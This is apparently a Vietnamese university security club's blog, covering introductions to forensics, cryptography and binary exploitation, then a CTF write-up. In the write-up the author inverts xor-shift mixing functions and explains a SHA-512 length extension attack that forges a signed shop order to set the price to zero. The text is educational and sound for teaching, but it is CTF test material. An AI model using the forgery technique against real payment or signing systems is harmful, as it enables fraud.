Forensics

 Không có mô tả.

Digital Forensics là gì ?

    Digital Forensics (hay còn gọi là điều tra số) là công việc phát hiện, bảo vệ và phân tích thông tin được lưu trữ, truyền tải hoặc được tạo ra bởi một máy tính hoặc mạng máy tính, nhằm đưa ra các suy luận hợp lý để tìm nguyên nhân, giải thích các hiện tượng trong quá trình điều tra. Khái niệm này được ra đời vào những năm 1980 do sự phát triển của máy tính cá nhân, khi xảy ra trộm cắp thiết bị phần cứng, mất mát dữ liệu, vi phạm bản quyền, virus máy tính phá hoại… Các doanh nghiệp và chính phủ các nước khi đó cũng ý thức hơn về vấn đề bảo mật.

Mục tiêu

    Mục tiêu cốt lõi của Digital Forensic là phát hiện, bảo quản, khai thác, tài liệu hóa và đưa ra kết luận về dữ liệu thu thập được. Cần lưu ý rằng dữ liệu phải đảm bảo tính xác thực, và được lấy mà không bị hư hại, nếu không dữ liệu đấy sẽ không còn ý nghĩa.Tại sao chúng ta cần Forensics ?Vấn đề được đặt ra giả sử bạn sở hữu một website hay thiết bị nào đấy, rồi đột nhiên bạn phát hiện ra thiết bị hay website của mình bị hacker tấn công và gây ra một lượng thiệt hại không nhỏ đối với bạn. Lúc này, bạn muốn xác định nguyên nhân bị tấn công, tìm cách khắc phục để sự việc không tái diễn hay thậm chí là xác định thủ phạm. Đó là lúc bạn cần đến Forensics. Đấy chỉ là một ví dụ khá điển hình, ngoài ra còn những trường hợp khác như để phát hiện mã độc trên máy tính, kiểm tra sự bất thường trong mạng, phát hiện sự xâm nhập… Nói chung Forensics giúp chúng ta xác định được nguyên nhân sự cố và đưa ra các biện pháp giải quyết tiếp theo. Nguyên tắc trao đổi của LocardEdmond Locard (1877 – 1966) được mệnh danh là Sherlock Holmes của nước Pháp. Ông là một chuyên gia điều tra pháp y, sáng lập Viện Hình sự học của trường Đại học Tổng hợp Lyon. Locard phát biểu một nguyên tắc mà sau này trở thành kim chỉ nam ngành khoa học điều tra. Ông ta cho rằng bất cứ khi nào hai người tiếp xúc với nhau, một thứ gì đó từ một người sẽ được trao đổi với người khác và ngược lại. Có thể là bụi, tế bào da, bùn đất, sợi, mạt kim loại. Những việc trao đổi này có xảy ra – vì thế chúng ta có thể bắt được nghi phạm. Với Computer Forensics, nguyên tắc này cũng hoàn toàn đúng. Khi bạn làm việc với máy tính hay một hệ thống thông tin, tất cả hành động của bạn đều bị ghi vết lại (mặc dù việc tìm ra thủ phạm trong trường hợp này khó khăn và mất nhiều thời gian hơn rất nhiều)

Đặc điểm của Digital Forensics

  • Dữ liệu cần phân tích lớn, nếu dữ liệu chỉ là text thôi thì với dung lượng vài mb chúng ta cũng có 1 lượng thông tin rất lớn rồi. Trong thực tế thì còn khổng lồ hơn.

  • Dữ liệu thường không còn nguyên vẹn, bị thay đổi, phân mảnh, và có thể bị lỗi

  • Bảo quản dữ liệu khó khăn, dữ liệu thu được có thể có tính toàn vẹn cao, chỉ một thay đổi nhỏ cũng có thể làm ảnh hưởng đến tất cả.

  • Dữ liệu forensic có thể gồm nhiều loại khác nhau: file hệ thống, ứng dụng, …

  • Vấn đề cần forensics là khá trừu tượng: mã máy, dump file, network packet…

  • Dữ liệu dễ dàng bị giả mạo

  • Xác định tội phạm khó khăn, có thể bạn tìm ra được dữ liệu về hacker(IP, email, profile…) nhưng để xác định được được đối tượng thật ngoài đời thì cũng không hề đơn giản.

Forensics những gì ?

    Digital Forensic thường làm việc với những đối tượng sau:

  • Physical Media, Media Management: Liên quan đến phần cứng, tổ chức phân vùng, phục hồi dữ liệu khi bị xóa…

  • File System: Phân tích các file hệ thống, hệ điều hành windows, linux, android…

  • Application: Phân tích dữ liệu từ ứng dụng như các file Log, file cấu hình, reverse ứng dụng…

  • Network: Phân tích gói tin mạng, sự bất thường trong mạng

  • Memory: Phân tích dữ liệu trên bộ nhớ, thường là dữ liệu lưu trên RAM được dump ra

Ai làm Forensic ?

    Những người làm công việc Forensics thường phải có kinh nghiệm và kiến thức khá rộng về khoa học máy tính, mạng, bảo mật. Trong những trường hợp cần kiến thức chuyên sâu, sẽ có nhiều người cùng tham gia để giải quyết. Ở các doanh nghiệp lớn, những người làm An toàn vận hành(Security Operator) sẽ đảm nhận công việc này. Với những người làm bảo mật thì đây cũng là một công việc rất thú vị.

spacer

Cryptography


Tổng quan

    Cryptography (Mật mã học) là một phân nhánh cổ xưa nhất của bảo mật. Có lẽ trong số chúng ta lại biết nhiều nhất là mật mã Caesar của quân đội La Mã cổ đại, nhưng thực chất, lịch sử của mật mã học đã phát triển từ trước đó rất lâu rồi. Cụ thể, mật mã đầu tiên được ghi nhận là hệ thống các chữ tượng hình được khắc trên một lăng mộ tại Ai Cập (khoảng năm 1900 TCN), cũng vào thời kì này của Ai Cập, có một cuốn sách mang tên Greek Magical Papyri cũng được mã hoá một phần. Tại Ấn Độ (400 TCN - 200), các cặp đôi yêu nhau sử dụng kĩ thuật Mlecchita vikalpa như một phương pháp để trao đổi thông tin mà không bị phát hiện. Skip nhanh đến thời hiện đại, một nhà toán học vĩ đại, người mà nổi tiếng không chỉ trong lĩnh vực toán học, mà còn là tiền đề của ngành mật mã học và ngành học máy, Alan Turing với chiếc máy Bombe của mình, đã thành công giải mã các mật mã được tạo ra bởi cỗ máy Enigma của Đức Quốc xã (thứ mã Hitler ca ngợi là “Mật mã số một thế giới, thần thánh cũng không giải được”), từ đó, đem lại chiến thắng cho quân Đồng Minh.

­    Ngày nay, mật mã được ứng dụng rất nhiều trong tin học, cụ thể là trong việc trao đổi và lưu trữ dữ liệu một cách an toàn theo các tiêu chí:

-     Confidentiality (tính bảo mật): Dữ liệu phải được đảm bảo không bị lộ, truy cập bởi những người dung không được phép.

-     Integrity (tính toàn vẹn): Dữ liệu phải nguyên vẹn, đảm bảo không bị chỉnh sửa cho dù với bất kì nguyên nhân nào (bị tấn công, mất mát, …)

-     Availability (tính sẵn sàng): Dữ liệu phải luôn trong trạng thái sẵn sàng và có thể truy cập bất cứ lúc nào.

-     Non-repudiation (không thể chối bỏ): Cụ thể là khi dữ liệu được trao đổi giữa 2 bên A và B, cả 2 bên không thể phủ nhận việc đó, và cũng đồng thời chắc chắn rằng, không ai khác ngoài A và B biết điều này.

    Mặc dù tính sẵn sàng không được thể hiện quá nhiều trong mã hoá, nhưng trong ứng dụng thực tế, các cơ chế mã hoá điện tử lại thể hiện rất rõ 3 tính chất còn lại. Hiện nay, việc nhắc đến “Cryptography” là ám chỉ một trong các kĩ thuật sau:

-     Symmetric encryption (Mã hoá đối xứng)

-     Asymmetric encryption (Mã hoá bất đối xứng)

-     Hasing (Kĩ thuật băm)

-     Digital signatures (Chữ kí số)

Có 2 thuật ngữ mà ta cần nắm rõ:

-     Encryption: là quá trình mã hoá một thông điệp từ dạng đọc được (Plain text) thành không đọc được (Cipher text)

-     Decryption: là quá trình ngược lại của encryption (Cipher text à Plain text )

Symmetric encryption



    Mã hoá đối xứng là kiểu mã hoá mà quá trình encryption và decryption sử dụng chung một mã (key). Các thuật toán mã hoá đối xứng thường được sử dụng như DES, AES, RC4, RC5,…

    Việc sử dụng mã hoá đối xứng sẽ hoạt động như sau:

-     Bên gửi sinh ra Plain text (M)

-     Bên gửi sinh ra một khoá kín (KS – Secret Key) một cách ngẫu nhiên và gửi cho bên nhận

-     Bên gửi sử dụng khoá KS để encrypt plain text M thành một bản mật (C - Cipher text), quá trình này được thể hiện như sau C = E(KS, M) và gửi cho bên nhận

-     Bên nhận sử dụng key KS và Cipher text đã nhận để Decrypt về plain text M = D(KS, C)

    Từ cơ chế trên, ta thấy rằng, việc để ổ khoá chung với chìa khoá như vậy sẽ sinh ra các vấn đề về bảo mật. Hãy thử tưởng tượng, ông tướng A gửi một thư mật cho ông tướng B, bức thư được mã hoá và bên dưới có ghi cách giải, ông A giao cho anh lính gửi hoả tốc, nhưng trên đường bị tướng địch bắn hạ và thu được mật thư :D Đây chính là phương pháp tấn công Man-in-the-middle (MITM).

Asymmetric encryption



    Mã hoá bất đối xứng là kiểu mã hoá mà quá trình encryption và decryption sử dụng mã key khác nhau, các thuật toán mã hoá tiêu biểu: RSA, DSA, PKCS,…

    Quá trình mã hoá bất đối xứng như sau:

-     Bên nhận tạo ra một khoá công khai (KP – public key) và gửi cho bên gửi, đồng thời tạo khoá kín (KS), được bên nhận giữ kín

-     Bên gửi sau khi tạo ra plain text (M), tiến hành mã hoá M bằng KP của bên nhận đã gửi trước đó:

C = E(M, KP) và gửi C cho bên nhận

-     Bên nhận sử dụng khoá KS để giải mã thông điệp đã nhận được: C = D(M, KS)

    Trong mã hoá bất đối xứng, KS và KP sẽ được tạo sao cho trong trường hợp người dung bị MITM lấy mất KP, hackers cũng không thể suy ra được KS nhưng vẫn tồn tại một mối quan hệ toán học giữa 2 key, cơ chế KS – KP này giúp người dung có thể yên tâm, ngay cả khi thông điệp giữa bên A và B bị lộ, thì những quá trình trao đổi thông tin giữa A và C, D, … vẫn được đảm bảo bí mật.

    Có thể thấy rằng, mã hoá bất đối xứng đã giải quyết được những hạn chế của mã hoá đối xứng, khi mà chỉ có người sở hữu KS mới có thể đọc được nội dung đã được mã hoá bằng KP. Nhưng, làm thế nào để ta biết được cái KP là chính xác của bên gửi? Hãy tìm hiểu thêm về Public Key Infrastructure (PKI). Trên thực tế, chúng ta sẽ nhờ các nhà cung cấp chứng thực số (Certificate Authority - CA) đóng vai trò làm trung gian trong quá trình trao đổi thông tin.

    Hashing functions

    Ngược lại với cơ chế mã hoá/giải mã như trên, hashing functions là những hàm chỉ có 1 chiều, tức là, bạn đưa input vào hash functions và nhận được một đoạn hash, nhưng bạn không thể convert ngược đoạn hash đó về input được :D

    Một hàm hashing lý tưởng phải thoả mãn 2 điều kiện:

-     Mã hash được tạo ra của input phải là độc nhất, 2 input khác nhau không được phép có mã hash giống nhau.

-     Với input giống nhau phải cho ra mã hash giống nhau.

    Nếu đã từng thao tác với mã hash thì sẽ thấy chúng giống như được tạo ra ngẫu nhiên, nhưng không phải vậy, với mỗi loại mã hash (SHA256, MD5, …) thì chúng sẽ có một độ dài cố định.

    Từ những đặc điểm trên, hashing functions không thể được sử dụng trong việc lưu trữ dữ liệu (mã hoá xong phát coi như mất :D) nhưng lại có thể được sử dụng để xác định tính toàn vẹn của dữ liệu, vì chỉ cần thay đổi dù chỉ là một dấu cách trong input, sẽ tạo ra một mã hash khác hoàn toàn. Bên cạnh đó, khi mà việc lưu trữ trực tiếp password trong database đã quá nguy hiểm, việc lưu trữ chúng dưới dạng Hashing cũng là một lựa chọn, lưu password được tạo dưới dạng mã hash, mỗi lần người dùng đăng nhập thì hashing lại input của người dùng và đối chiếu với mã hash đã lưu, vừa đảm bảo có gì đó để so sánh, vừa đảm bảo không để lộ thông tin nhạy cảm khi sự cố xảy ra.

    Digital signatures



    Đây là sự kết hợp giữa mã hoá bất đối xứng và hashing functions:

-     Phía signer sẽ tiến hành hash input và mã hoá tiếp với KS

-     Signer gửi thông điệp đính kèm với chữ kí số vừa được tạo

-     Phía người nhận sẽ sử dụng KP để decrypt chữ kí số về mã hash, sau đó tiến hành hash thông điệp đính kèm để đối chiếu với mã hash của chữ kí số

    Đây là cách để đảm bảo tính toàn vẹn, tính bảo mật và tính không thể chối từ của thông điệp được gửi đi. Nhờ đảm bảo được những điều trên, chữ ký số được sử dụng trong giao dịch điện tử, e-mail, chuyển tiền, thanh toán trực tiếp, … Ngoài ra, chữ ký số cũng được áp dụng trong các công vụ của Chính phủ như thuế, hải quan, …

Kết luận

    Mật mã học (Cryptography) là một mảng đã có quãng thời gian phát triển lâu đời nhất trong bảo mật thông tin, với lịch sử phát triển lâu đời như vậy, thật không dễ để chúng ta có thể nắm được, vì vậy tôi xin được đề cập một số cuốn sách để tham khảo và rèn luyện về mảng “Old but Gold” này:

-     Cryptography made simple – Nigel P. Smart

-     Applied cryptography – Bruce Schneier

-     Cryptography: Theory and Practice – Doug Stinson

-     Understanding cryptography: A textbook for students – Christof Paar

-     Giáo trình mật mã học và an toàn thông tin – Ts. Thái Thanh Tùng

spacer

Binary Exploitation

  Không có mô tả.

Tổng quan
Binary Exploitation (hay còn gọi là pwn) liên quan đến việc tìm ra lỗ hổng trong chương trình và khai thác nó để giành quyền kiểm soát hoặc sửa đổi các chức năng của chương trình. Công việc này nghiên cứu về các lỗ hổng mà phổ biến có thể kể đến như:

  • Buffer Overflow (tràn bộ đệm): Tràn bộ đệm là lỗi thông thường, dễ phòng chống, nhưng lại rất phổ biến và có hậu quả nguy hiểm nhất. Nó được xếp vào hàng danh sách các lỗi đe dọa nghiêm trọng đến sự an toàn của chương trình và hệ thống. Năm 2009, viện SANS (Escal Institute of Advanced Technologies) đã đưa ra báo cáo 25 lỗi lập trình nguy hiểm nhất trong đó có lỗi tràn bộ đệm.

  • Integer Overflow (tràn số nguyên): Tràn số nguyên xảy ra khi một phép toán số học có kết quả nằm ngoài phạm vi có thể được biểu diễn bằng một số có số chữ số nhất định (có thể là cao hơn giá trị lớn nhất hoặc thấp hơn giá trị nhỏ nhất có thể biểu diễn của kiểu dữ liệu).

  • Return Oriented Programming (ROP): Đây là một kỹ thuật khai thác bảo mật được các hacker khai thác để thực thi các đoạn mã (thường là nhằm mục đích xấu) trên hệ thống của nạn nhân.

  • Format String Vulnerable (lỗ hổng định dạng chuỗi): Xảy ra khi dữ liệu được đưa vào bị chương trình xem như một lệnh để thực thi. Bằng cách này, hacker có thể thực thi các đoạn mã, đọc ngăn xếp hoặc gây ra lỗi phân đoạn trong chương trình đang chạy, gây ra các hành vi có thể ảnh hưởng đến bảo mật hoặc sự ổn định của hệ thống.

  • Heap Exploitation: là một lỗ hổng mà xảy ra khi có nhiều dữ liệu hơn số lượng có thể chứa trong bộ đệm đã được cấp phát. Nó có thể dẫn đến hỏng siêu dữ liệu heap hoặc hỏng các đối tượng heap khác, từ đó cung cấp bề mặt tấn công mới.

Ví dụ Ở đây, mình lấy ví dụ về lỗi tràn bộ đệm, còn các lỗ hổng khác các bạn có thể tìm hiểu trên mạng để được các chuyên gia mô tả cho dễ hình dung. Quay lại buffer overflow thì như đề cập ở trên thì đây là một lỗi rất dễ phòng tránh tuy nhiên nó vẫn có thể xảy ra và dẫn đến các hậu quả hết sức nguy hiểm. Nguy hiểm thế nào thì ta sẽ bắt đầu đi vào ví dụ sau: Trường Đại học U đang triển khai đăng ký thông tin nhập học cho tân sinh viên. Sau khi nhập các thông tin cần thiết vào chương trình trên, sinh viên A nhận được một giao diện có thiết kế như sau:

Họ và tên

Số điện thoại

Điểm xét tuyển

Nguyễn Văn A

0908222227

7.3

Trong đó, mục [Họ và tên] và [Điểm xét tuyển] là Chỉ-có-thể-đọc (được bôi đậm) , còn ở [số điện thoại], sinh viên được phép sửa đổi. Yêu cầu của số điện thoại là tối đa 10 chữ số. Nhận thấy số điện thoại của mình bị sai, A thực hiện thao tác sửa đổi và cập nhật mới. Trong quá trình sửa đổi, A vô tình bấm “nhầm” thêm một số dẫn đến đầu vào là một dãy 11 chữ số như sau 09082222229. Sau khi ấn submit, kết quả mà A nhận được là

Họ và tên

Số điện thoại

Điểm xét tuyển

Nguyễn Văn A

0908222222

9.7

Đến đây thì mình tin chắc các bạn cũng đã hiểu ra vấn đề. Ở đây chữ số 9 ở số điện thoại đã bị thay thế vào vị trí của số 7 trong mục [Điểm xét tuyển] hay nói các khác là chữ số thừa này của [Số điện thoại] đã bị tràn sang bộ nhớ bên cạnh nó. Với số điểm xét tuyển gần như tuyệt đối này thì không có cớ gì A sẽ được trao học bổng trong 4 năm học ngay và luôn. Tuy nhiên, do A là một học sinh trung thực, 12 năm liền học sinh Giỏi và là cháu ngoan Bác Hồ nên A đã chủ động liên hệ với nhà trường để báo cáo lỗi. Nhờ việc xử lý và giải quyết một cách nhanh nhẹn, A đã được nhà trường tuyên dương cũng như trao thưởng. Phần thưởng tuy nhỏ nhưng A được cả trường biết đến và được nhận nhiều lời tán dương. A rất tự hào và tự hứa sẽ học tập thêm kỹ năng ATTT để tiếp tục phát hiện và báo cáo nhiều lỗi như thế nữa. Chính vì vậy, A đã đăng ký tham gia vào CLB FPTU - Ethical Hacker Club, một câu lạc bộ về ATTT mà đúng với tiêu chí của A là BDSM (Bay bổng - Đảm đang - Sáng tạo - Muôn màu) Tuy nhiên đây chỉ là một câu chuyện hoang tưởng để lấy ví dụ về Binary Exploitation, các bạn không nên làm tại nhà vì rất dễ được “học bổng” của nhà nước (được ở nhà của nhà nước, được ăn cơm nhà nước, mặc quần áo nhà nước). Trên thực tế thì buffer overflow cũng tương tự như vậy. Các lỗ hổng liên quan đến việc tràn bộ đệm thường xảy ra do lập trình viên bỏ qua các chú ý đến nguy cơ bị ghi đè dữ liệu lên các vùng nhớ kế cận. Ở phần kết luận, mình sẽ đưa ra giải pháp cho các lập trình viên newbie cách phòng tránh vấn đề này.

Kết luận

Về tác hại: các lỗi liên quan đến Binary Exploitation làm cho chương trình dừng hoạt động, gây mất dữ liệu hoặc khiến cho kẻ xấu lợi dụng để tấn công, kiểm soát hệ thống nhằm mục đích trục lợi. Để phòng tránh lỗi tràn bộ đệm ở các chương trình C, các lập trình viên nên đọc kỹ về hàm gets, nó thường được cảnh báo nguy hiểm trong khi biên dịch chương trình. Giả sử có biến var, kết quả của printf (var) sẽ là bao nhiêu nếu var%p. Hãy thử viết một chương trình C như vậy và tự xem kết quả. Bật mí thì đây là ví dụ của lỗi định dạng chuỗi. Có một số trang để rèn luyện kỹ năng về Binary Exploitation có thể kể đến như pwnable.tw, đây là trang web hoàn toàn miễn phí. Các thử thách trên đây luôn được cập nhật để bổ sung kỹ năng cho bạn. Ngoài ra có một số trang khác như HackTheBox cũng là một nơi để các bạn bắt đầu nghiên cứu về mảng bảo mật này.
spacer

FPT Uni SecAthon 4 | Cryptography Writeup | CRY301-CRY302-CRY303

 

CRYPTO

1. CRY301 (1000 pts)

Một bài crypto giải bằng kiến thức toán học và tư duy về code. Full source code đề bài xem tại đây

Bài này yêu cầu mình tìm được số xban đầu từ kết quả của 2 hàm easyone(x) và alittlebitharderone(x).

a. Phân tích hàm easyone(x)

Nhìn sơ qua hàm easyone(x), có 3 phép biến đổi chính được lặp đi lặp lại 3 lần

  1. Phép xor với left shift bit của chính nó
  2. Phép nhân
  3. Phép & với 0xffffffffffffffffffffffffffffffff.
def easyone(x):
    assert(x < 2 ** 128)
    x ^= x >> (64 + 19)
    x *= 0xd3856e824d9c8a26aef65c0fe1cc96db #281159923981539500379670095774511568603
    x &= 0xffffffffffffffffffffffffffffffff
    x ^= x >> (64 + 3)
    x *= 0xe44035c8f8387dc11dd3dd67097007cb #303397380928069120521467215513016862667
    x &= 0xffffffffffffffffffffffffffffffff
    x ^= x >> (64 + 20)
    x *= 0xc9f54782b4f17cb68ecf11d7b378e445 #268448390289851351177030176676964262981
    x &= 0xffffffffffffffffffffffffffffffff
    x ^= x >> (64 + 2)
    return x

Như vậy, có 2 bài toán đặt ra cần giải quyết:

  1. Tìm x biết ax = b \pmod nax=b(modn) với aa, bb, nn* đã biết.
  2. Khôi phục lại kết quả phép xor. Tìm x có a \oplus x = bax=b với aa, bb đã biết. Khá đơn giản với x=a \oplus bx=ab.

Cùng đi sâu hơn chút vào từng bài toán 1 nhé

Bài toán 1: Tìm x biết ax = b \pmod nax=b(modn) với aa, bb, nn* đã biết.

Đây là bài toán cơ bản cơ bản về inverse mod (modular inverse) trong finite field (trường hữu hạn). Đơn giản, mình có thể tìm xx bằng cách x = a^{-1} b \pmod nx=a−1∗b(modn), trong đó a^{-1} \pmod na−1(modn) là giá trị inverse modulo của a trong finite field \bmod (n)mod(n*).

Chi tiết cách tìm inverse mod bằng toán học với extended euclidean algorithm có thể xem tại đây. Lúc code giải thì mình dùng luôn hàm invert(a, n) trong thư viện gmpy2 của python để tìm a^{-1} \pmod na−1(modn)

Mình chuyển 1 đoạn code sang dạng bài toán gốc để dễ hình dung. Cụ thể, đoạn code dưới đây biểu diễn dưới dạng toán học sẽ là x 281159923981539500379670095774511568603 = b \pmod nx∗281159923981539500379670095774511568603=b(modn) với bb* có thể thu được từ việc dịch lại phép xor (sẽ nói ở bài toán 2).

Lưu ý: x &= 0xfffffffffffffffffffffffffffffffftương đương với x %= 0xffffffffffffffffffffffffffffffff, hay x %= 2**128

x *= 0xd3856e824d9c8a26aef65c0fe1cc96db #281159923981539500379670095774511568603
x &= 0xffffffffffffffffffffffffffffffff

Như vậy, ta có thể dễ dàng tìm xx với x = b281159923981539500379670095774511568603^{-1} \pmod {2^{128}}x=b*∗281159923981539500379670095774511568603−1(mod2128).

x *= gmpy2.invert(268448390289851351177030176676964262981, 2**128)
x &= 0xffffffffffffffffffffffffffffffff

Vấn đề là để hoàn thiện quá trình giải thì mình cần tìm bb, nghĩa là cần phải giải quyết bài toán số 2. Ngay sau đây 😉

Bài toán 2: Khôi phục lại kết quả phép xor

Để giải quyết phần xor này, chúng ta cần phải lưu tâm x sau khi bitshift thì còn những bit nào còn giữ nguyên, bit nào dịch chuyển để thực hiện xor.

x ^= x >> (64 + 2)

Để dễ hình dung, bạn có thể nhìn hình mô phỏng trước và sau khi leftshift dưới đây. Bit màu xanh là những bit còn giữ nguyên sau khi leftshift. Bit màu vàng là bit màu xanh được chuyển ra sau khi leftshift. Bit màu đỏ là những bit có thể bị thay đổi sau bitshift (và cũng là bit thực sự tham gia xor)

img

img

Dễ dàng nhận thấy, phần bit dùng để xor với giá trị x ban đầu vẫn giữ nguyên sau khi xor \longrightarrow⟶ Như vậy mình có thể dễ dàng khôi phục phần bit dùng để xor bằng cách leftshift lại giá trị sau khi xor bằng đúng một khoảng dùng để xor trước đó (tức leftshift (64+2) đơn vị trong trường hợp trên).

x ^= x >> (64 + 2)

Kết luận trên đúng với tất cả trường mà x được leftshift ít nhất 64 đơn vị.

Vậy là mình đã giải quyết xong cả 2 bài toán trên! Cuối cùng mình có đoạn code để lấy giá trị x từ hàm easyone(x) như sau:

def solveeasyone(x):
    x ^= x >> (64 + 2)
    x *= gmpy2.invert(268448390289851351177030176676964262981, 2**128)
    x &= 0xffffffffffffffffffffffffffffffff
    x ^= x >> (64 + 20)
    x *= gmpy2.invert(303397380928069120521467215513016862667, 2**128)
    x &= 0xffffffffffffffffffffffffffffffff
    x ^= x >> (64 + 3)
    x *= gmpy2.invert(281159923981539500379670095774511568603, 2**128)
    x &= 0xffffffffffffffffffffffffffffffff
    x ^= x >> (64 + 19)
    return int(x)

Tada, first round~~image.png

b. Phân tích hàm alittlebitharderone(x)

Giải quyết hàm này cũng cần giải quyết 2 bài toán như hàm easyone(x)Bài toán 1 về tìm inverse mod hoàn toàn giống hệt. Cái khó hơn nằm ở Bài toán 2, do mình không thể ngay lập tức khôi phụ được bit dùng trong phép xor trước đó từ kết quả thu được.

Tuy nhiên, điều đáng mừng là nguyên lý cách làm vẫn thế. Chúng ta cũng sẽ dùng những bit còn nguyên, để khôi phục lại những bit gốc, rồi lân la dần dần để khôi phục toàn bộ bit gốc đó. Mình mô phỏng với 1 bài toán nhỏ với 1 chuỗi 6 bit với độ leftshift bằng 2 như sau:

img

img

Với trường hợp như trên, mình khôi phục lại giá trị ban đầu của x bằng cách đi qua từng bước như sau đây (Mô tả bằng hình ảnh cho dễ hiểu nhé)

  1. Xor 2 bit đầu (2 bit còn giữ nguyên sau khi xor) với 2 bit liền kều sau nó. Những bit còn lại giữ nguyên. Như vậy, mình đã khôi phục lại được bit số 3 và bit số 2

    img

    img

  2. Xor tiếp 2 bit vừa thu được (bit số 3 và 2) với 2 bit liền kề sau nó để khôi phục tiếp 2 bit còn lại (bit 5 và 6)

    img

    img

Vậy làm mình đã thu lại được đoạn bit gốc, tức giá trị của x cần tìm. Với chuỗi bit dài hơn, mình chỉ cần chạy quá trình trên lặp đi lặp lại là được.

Dễ rồi phải không? Mặc dù mình nghĩ ra được ý tưởng mình việc code tốn của mình tận 30 phút... và cuối cùng lại chỉ thành 1 đoạn code ngắn ngủi sau:

def xor(a, b):
    return ''.join(str(int(_a) ^ int(_b)) for _a, _b in zip(a, b))

def shiftsolong(x, bitshift):
    x = '{0:b}'.format(x)
    for i in range(0, len(x) - bitshift):
        x = x[:bitshift*(i+1)] + xor(x[bitshift*i:bitshift*(i+1)], x[bitshift*(i+1):bitshift*(i+2)]) + x[bitshift*(i+2):]
    return int(x, 2)

Ta nói đời về căn bản là buồn mà 😢 Thôi tổng hợp lại, thì mình có đoạn code lấy lại giá trị x từ hàm alittlebitharderone(x)

def solvehardone(x):
    x = shiftsolong(x, 2)
    x *= gmpy2.invert(268448390289851351177030176676964262981, 2**128)
    x &= 0xffffffffffffffffffffffffffffffff
    x = shiftsolong(x, 20)
    x *= gmpy2.invert(303397380928069120521467215513016862667, 2**128)
    x &= 0xffffffffffffffffffffffffffffffff
    x = shiftsolong(x, 3)
    x *= gmpy2.invert(281159923981539500379670095774511568603, 2**128)
    x &= 0xffffffffffffffffffffffffffffffff
    x = shiftsolong(x, 19)
    return int(x)

Qua vòng 2 và nhận được flag. Chỉ là không kịp submit nữa...

img

img

Nếu có ước muốn trong cuộc đời này, mình sẽ ước có một không gian riêng mà thời gian chảy chậm để ngồi debug trước khi hết giờ FUSEC 😇

2. CRY302 (1000 pts)

1 bài liên quan tới hash, cách thực hiện khá dễ. Full source code bạn có thể xem tại đây

img

img

a. Bổ đề

Tóm tắt lại thì mình sẽ được đưa cho 1 số tiền ngẫu nhiên từ 1 tới 2000 và bị bắt phải mua 1 cái FLAG có giá tận 99,999. Kiểu gì cũng không đủ cho được.

Khi mình order 1 vật phẩm bất kỳ, order của mình sẽ có cấu trúc dạng kiểu product=FLAG&price=99999&time=1633845957.70&sign=67df43a8c83ea4ee53ac7bb61cc9a51661f5b55b54153afb942246c11a3ab9a93cb7a1cecb235195eab957fceb3e3daaf3e97f484d29718aea8b0f63e1a3704a (đã được decode từ chuỗi base64 encoded)

Khi nhập lại cái order ở trên để xác nhận mua sản phẩm, order này được kiểm tra các cấu trúc và tính toàn vẹn, cụ thể gồm:

  1. Tồn tại cặp parameter-value sign={sign_value}
  2. Có signature hợp lệsha512(signkey+payment).hexdigest() == signature

Sau khi qua các bài check trên, payment sẽ được truyền vào hàm parse_sql(self, query) để tiến hành extract các parameter tương ứng.

def parse_qsl(self, query):    m = {}    parts = query.split(b'&')    for part in parts:        key, val = part.split(b'=')        m[key] = val    return m

Với cách hàm parse hoạt động như này, giả sử query có 2 cặp giá trị của price (ví dụ như price=99999&price=0) thì giá trị price cuối cùng sẽ được quyết định bởi cái đằng sau. Điều đó đồng nghĩa với việc nếu mình có thể kéo dài cái payment của mình bằng cách append thêm 1 đoạn &price=0, mình có thể mua bất cứ thứ gì trong cửa hàng!

Ý tưởng kéo dài 1 đoạn payment được hash đã đưa mình đến hash length extension attack

b. Hash length extension attack

Hash length extension attack là gì?

Hash length extension attack cho phép mình kéo dài chuỗi văn bản được hash, đồng thời tính toán giá trị hash mới hợp lệ cho chuỗi văn bản được kéo dài ra từ hash của chuỗi văn bản ban đầu.

Nguồn đọc hiểu hash length extension attack

Trước hết, cần phải hiểu được sha512 hoạt động như thế nào đã. Bạn có thể xem tổng quan về hàm sha512 tại đây và xem chi tiết cách sha512 vận hành từng bước 1 tại đây. Thanks for Indian guys ❤️

Tiếp đó, mình đọc mô tả cách hash length extension attack hoạt động, và có bản demo tại đây. Thực ra trước có 1 bài blog bằng tiếng Việt cho họ hash SHA luôn, mà giờ trang đấy sập rồi 😢 Nên mình sẽ mô tả lại trong bài này để các bạn hiểu dưới góc độ python code, phòng trường hợp các bạn đọc demo trên mạng đều code bằng C và không hiểu gì =)))

Điều kiện để thực hiện hash length extension attack

Để thực hiện được hash length extension attack mà văn bản xác thực có dạng secret_value + public_value, mình cần có đủ 3 dữ kiện:

  1. Độ dài của secret_value, ở trong bài này chính là độ dài của signkey. Bài không cho cụ thể nhưng chỉ cho 24 giá trị khả năng, hoàn toàn có thể bruteforce. Mình không cần giá trị của secret_value!
  2. Giá trị của public_value, ở trong bài này chính là payment
  3. Giá trị hash của secret_value + public_value, ở trong bài này chính là sign

Vậy là bài này hội tụ đủ cả 3 yếu tố để tiến hành rồi.

Tiến hành tấn công thôi!

Mục tiêu của mình bao gồm:

  1. Append thêm 1 đoạn &price=0 vào cuối payment
  2. Tạo ra 1 giá trị sign mới sao cho sha512(signkey+payment) = sign với payment mới

Sơ sơ cơ chế hoạt động của hash length extension attack sẽ như sau.

  1. Cơ chế hoạt động của hàm hash: Hàm hash sha512 sẽ chia input đầu vào thành các khối 1024 bits, mỗi khối lại chia thành từng phần nhỏ h[i]gồm 128 bits. Một tuple (h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]) được gọi là current_state của hàm hash hiện tại. current_state sẽ được dùng để tính state cho khối 1024 bits tiếp theo. Hàm xử lý quá trình này gọi là round_function hoặc compress (tùy theo tài liệu). Kết quả cho khối 1024 bits cuối cùng chính là giá trị hash mình thu được.
  2. Cơ chế hoạt động của hash length extension attack: Từ cơ chế hoạt động trên của hàm hash, mình có thể thấy rằng chỉ cần biết được current_state và khối 1024 bits cuối cùng, mình hoàn toàn có thể tính toán state cho khối 1024 bits tiếp theo, trong đó, khối 1024 bits sẽ có giá trị tùy ý mình thích. Đó cũng chính là giá trị hash mới với chuỗi văn bản được kéo dài.

Khá là đơn giản phải không. Giờ mình sẽ đi vào cụ thể nhé:

  1. Order FLAG, nhận giá trị order trả về product=FLAG&price=99999&time=1633849486.36&sign=275e626950c677c05a669e4e9d73f015858ca2b477335b2e99f419f9f0bc860736e95bd87de1226764c70f8c59029edc10e6b2a514342bb85f0c29fe24b9d3e2. Tách payment và sign riêng.
